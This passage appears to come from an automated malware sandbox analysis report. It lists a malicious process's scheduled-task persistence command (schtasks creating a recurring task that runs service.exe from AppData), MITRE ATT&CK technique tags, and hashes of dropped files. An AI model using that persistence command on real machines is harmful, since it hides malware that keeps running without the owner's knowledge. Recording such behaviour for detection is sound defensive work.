C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn MyApp /tr C:\Users\Admin\AppData\Roaming\service.exe /st 00:00 /du 9999:59 /sc daily /ri 1 /f3⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:712
-
-
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Persistence
Create or Modify System Process
2Windows Service
2Power Settings
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Create or Modify System Process
2Windows Service
2Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4.2MB
MD59fb8cc095e016caf986f28f61a4334ca
SHA12fb9680927038e17e9a12880fd59194936c611d0
SHA256369a92d10be574e4e96680100bba4bb8f1b94f23a129d04ce0cef93dbb4d92a1
SHA512305859908a8dbf87cfd09a12190469cf70f100992b72d04a335c5bbe284d1641e9294e1af26e49d2dafd3c4cd27e19f8216f8bd78d9bf225c6899496881904bb
-
Filesize
5.8MB
MD56c5765152f9720727f9693288b34a8b6
SHA1eabde5cbe6cd8de622dab56e892cd5f7a7373143
SHA256e2cbf154467a2592dfa9e86d6563f0d0d07ac148140ab2eac81790e916b1c4fb
SHA5129ecedd98e13dd27a92025e6e58cebfdc4f578cc97a2fc0daa3d2e4b13de08bf1f36f00cdee8c0ffb7de203a116f915e5d5cd067d8d3954c00a8a4b8c6378ccf4
-
Filesize
593KB
MD5c8fd9be83bc728cc04beffafc2907fe9
SHA195ab9f701e0024cedfbd312bcfe4e726744c4f2e
SHA256ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a
SHA512fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040
-
Filesize
2.0MB
MD51cc453cdf74f31e4d913ff9c10acdde2
SHA16e85eae544d6e965f15fa5c39700fa7202f3aafe
SHA256ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5
SHA512dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
3KB
MD500930b40cba79465b7a38ed0449d1449
SHA14b25a89ee28b20ba162f23772ddaf017669092a5
SHA256eda1aae2c8fce700e3bdbe0186cf3db88400cf0ac13ec736e84dacba61628a01
SHA512cbe4760ec041e7da7ab86474d5c82969cfccb8ccc5dbdac9436862d5b1b86210ab90754d3c8da5724176570d8842e57a716a281acba8719e90098a6f61a17c62